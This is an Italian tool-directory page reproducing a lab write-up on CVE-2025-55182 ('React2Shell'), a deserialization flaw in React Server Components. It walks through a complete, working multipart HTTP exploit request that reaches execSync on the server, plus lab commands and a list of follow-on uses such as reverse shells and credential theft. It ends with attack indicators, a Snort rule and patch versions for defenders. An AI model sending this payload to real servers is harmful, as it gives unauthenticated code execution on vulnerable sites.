Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: deserializzazione non sicura non autenticata in React Server Components che porta a un'affidabile esecuzione remota di codice tramite il protocollo Flight. | Kitploit
Strumenti/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSicurezza WebCTFPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: deserializzazione non sicura non autenticata in React Server Components che porta a un'affidabile esecuzione remota di codice tramite il protocollo Flight.

Vedi Repository
7131 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🎯 React2Shell (CVE-2025-55182): Dai Componenti Server React fino alla RCE Completa

Difficoltà: Intermedio → Avanzato
Categoria: Web Exploitation | Deserializzazione | RCE

Cover


🧩 Task 1: Introduzione — Perché React2Shell è un Affare Serio

CVE-2025-55182, soprannominato React2Shell, è una di quelle vulnerabilità che mettono immediatamente in ansia i difensori 😬. Scoperto nel dicembre 2025, ha un punteggio CVSS di 10.0, il che già dice che non si tratta di un bug secondario.

Al suo cuore, questa vulnerabilità colpisce i React Server Components (RSC) e i framework basati su di essi, in particolare Next.js. La parte spaventosa?

👉 Esecuzione di codice remoto (RCE) non autenticata 👉 Singola richiesta HTTP creata ad arte 👉 Le configurazioni predefinite sono vulnerabili

Nessun login. Nessun permesso speciale. Solo una richiesta ben formata.

🔥 Pacchetti React colpiti

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack
  • ✅ Versioni corrette

    • 19.0.1
    • 19.1.2
    • 19.2.1

    Questa stanza ci guida attraverso perché questo bug esiste, come viene sfruttato e cosa possono fare i difensori a riguardo.

    Flag: Nessuna risposta richiesta.


    🧠 Task 2: React Server Components e il Flight Protocol

    Prima dello sfruttamento, serve chiarezza architetturale.

    Cosa sono i React Server Components?

    I React Server Components (introdotti in React 19) permettono a parti di un'app React di essere eseguite sul server, non nel browser. Ciò significa:

    • I calcoli pesanti restano lato server ⚙️
    • Il client riceve solo l'output renderizzato 📦
    • Migliori prestazioni, bundle più piccoli

    Entra in gioco: React Flight ✈️

    La comunicazione tra client e server avviene tramite il React Flight protocol. Questo protocollo serializza i dati sul client e li deserializza sul server.

    Utilizza marcatori speciali:

    • $@ → Riferimento a un chunk

    • $B → Riferimento a un blob

    • Percorsi di proprietà tramite notazione a due punti Esempio:

      root@kitploit:~
      $1:constructor:constructor
      

    ⚠️ Ed è proprio qui che la logica di serializzazione si incrina.

    Domanda: Quale simbolo denota un riferimento a un blob? ✅ Risposta: $B


    💣 Task 3: La Vulnerabilità Principale — Deserializzazione Non Sicura

    Al cuore di CVE-2025-55182 c'è un classico difetto di deserializzazione non sicura.

    Diamo un'occhiata al pattern vulnerabile (non tagliare 👇):

    root@kitploit:~
    function requireModule(metadata) {  
     var moduleExports = __webpack_require__(metadata[0]);  
     // ... logica aggiuntiva ...  
     return moduleExports[metadata[2]];  // LINEA VULNERABILE  
    }  
    

    Perché è pericoloso?

    In JavaScript, la notazione a parentesi:

    root@kitploit:~
    obj[someKey]
    

    non limita l'accesso solo alle proprietà esportate. Percorre l'intera catena dei prototipi.

    Ora arriva l'intuizione critica 👀:

    • Ogni funzione JavaScript ha un .constructor
    • constructor punta al costruttore Function
    • Function("codice") = esecuzione JS arbitraria

    Arma dei riferimenti Flight

    Poiché il protocollo Flight permette percorsi separati da due punti, un aggressore può inviare:

    root@kitploit:~
    $1:constructor:constructor
    

    Che si risolve in:

    1. Ottieni il chunk del modulo
    2. Accedi a .constructor
    3. Accedi a .constructor di nuovo → Function

    A questo punto, game over 🎮.

    Flag: Nessuna risposta richiesta.


    🧨 Task 4: Catena di Sfruttamento — Dal Bug alla RCE

    Ora analizziamo il PoC di maple3142, passo dopo passo.

    🧩 Fase 1: Oggetto Chunk Falso

    L'aggressore invia una richiesta multipart contenente un oggetto Chunk falso:

    root@kitploit:~
    {  
     "then": "$1:__proto__:then",  
     "status": "resolved_model",  
     "reason": -1,  
     "value": "{\\"then\\":\\"$B1337\\"}",  
     "_response": {  
       "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
       "_chunks": "$Q2",  
       "_formData": {  
         "get": "$1:constructor:constructor"  
       }  
     }  
    }
    

    Questo oggetto imita la struttura interna di Chunk di React. Puntando then a Chunk.prototype.then, React viene ingannato nell'attendere una logica controllata dall'aggressore.


    🧩 Fase 2: Abuso dell'Handler Blob

    Il marcatore $B1337 attiva l'handler di deserializzazione dei Blob, che internamente esegue:

    root@kitploit:~
    response._formData.get(response._prefix + id)
    

    Ma abbiamo avvelenato:

    • _formData.get → Function
    • _prefix → JS malevolo

    Risultante esecuzione:

    root@kitploit:~
    Function("process.mainModule.require('child_process').execSync('xcalc');1337")
    

    💥 Esecuzione JavaScript arbitraria raggiunta.


    🧩 Fase 3: Esecuzione di Comandi OS

    Il PoC esegue:

    root@kitploit:~
    process.mainModule
      .require('child_process')
      .execSync('xcalc')
    

    Questo può essere banalmente sostituito con:

    • Reverse shell
    • Esfiltrazione di segreti
    • Lettura di file
    • Furto di credenziali cloud ☠️

    Flag: Nessuna risposta richiesta.


    📦 Task 5: Analisi Completa del PoC HTTP

    Ecco la richiesta di sfruttamento completa (verbatim, non tagliata):

    root@kitploit:~
    POST / HTTP/1.1  
    Host: localhost  
    Next-Action: x  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="1"
    
    "$@0"  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
    Content-Disposition: form-data; name="2"
    
    []  
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  
    
    

    (…il corpo multipart continua…)

    Cose da notare 👇

    • L'header Next-Action attiva le Server Actions
    • multipart/form-data è obbligatorio
    • $@0 crea un auto-riferimento
    • $B1337 attiva la logica dei Blob
    • constructor:constructor porta a Function

    Non è casuale — è una catena progettata con precisione.


    🌍 Ecosistema Colpito

    • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

    • Next.js:

      • ≥14.3.0-canary.77
      • Tutte le 15.x
      • Prime 16.x
    • Altri: React Router (RSC), Waku, Redwood SDK

    📊 Ricerca Wiz: 39% degli ambienti cloud esposti 🌐 Shodan: 571k+ server React, 444k+ Next.js

    È… un bel po' 😶


    🧪 Task 6: Sfruttamento in Laboratorio

    Prima in Repeater, crea una Nuova Richiesta HTTP e seleziona il Target.

    1

    Usando Burp Suite Repeater, inviamo il payload:

    root@kitploit:~
    execSync('id')
    

    2

    E successivamente:

    root@kitploit:~
    execSync('whoami')
    

    3

    ✅ Risultati

    • Utente: ubuntu

    • Flag:

      root@kitploit:~
      {React-19.2.0}
      

    Sfruttamento pulito, affidabile, ripetibile 💀


    🛡️ Task 7: Rilevamento e Difesa

    Buone notizie per i difensori 👮‍♂️ — lo sfruttamento lascia impronte.

    🔎 Indicatori di Attacco

    • Header Next-Action
    • multipart/form-data
    • "status":"resolved_model"
    • "then":"$1:__proto__:then"

    Questi non dovrebbero mai apparire nel traffico utente normale.


    🚨 Regola Snort (v3)

    root@kitploit:~
    alert http any any -> $LAN_NETWORK any (
        msg:"Potenziale tentativo Next.js React2Shell / CVE-2025-66478";
        flow:to_server,established;
        content:"Next-Action"; http_header; nocase;
        content:"multipart/form-data"; http_header; nocase;
        pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
        pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
        pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
        classtype:web-application-attack;
        sid:6655001;
        rev:1;
    )
    

    🧾 OSQuery — Trovare Pacchetti Vulnerabili

    root@kitploit:~
    {
      "queries": {
        "detect_rev2shell_react_server_components": {
          "query": "SELECT name, version, path FROM npm_packages WHERE ...",
          "interval": 3600
        }
      }
    }
    

    Perfetto per:

    • Pipeline CI/CD
    • Audit degli endpoint
    • Controlli pre-produzione

    4


    🧠 Considerazioni Finali

    React2Shell è un esempio da manuale di:

    • Perché la deserializzazione non sicura è letale
    • Come le catene di prototipi possono tradirti
    • Perché le "configurazioni predefinite" sono pericolose

    Una volta installate le versioni corrette e seguite le raccomandazioni di npm audit, lo sfruttamento muore completamente ✅.

    ⚠️ Non testare mai questo al di fuori di laboratori autorizzati.
    🔥 Applica sempre le patch rapidamente.
    🧠 Comprendi sempre perché un bug esiste — non solo come sfruttarlo.


    ⭐ Seguimi e Connettiti

    Se ti è piaciuto questo write-up o vuoi rimanere in contatto con il mio lavoro in cybersecurity, CTF e VAPT:

    🔗 GitHub: https://github.com/AdityaBhatt3010
    💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
    ✍️ Medium: https://medium.com/@adityabhatt3010

    Buon hacking — responsabilmente 🗿🚀


    Scarica lo strumento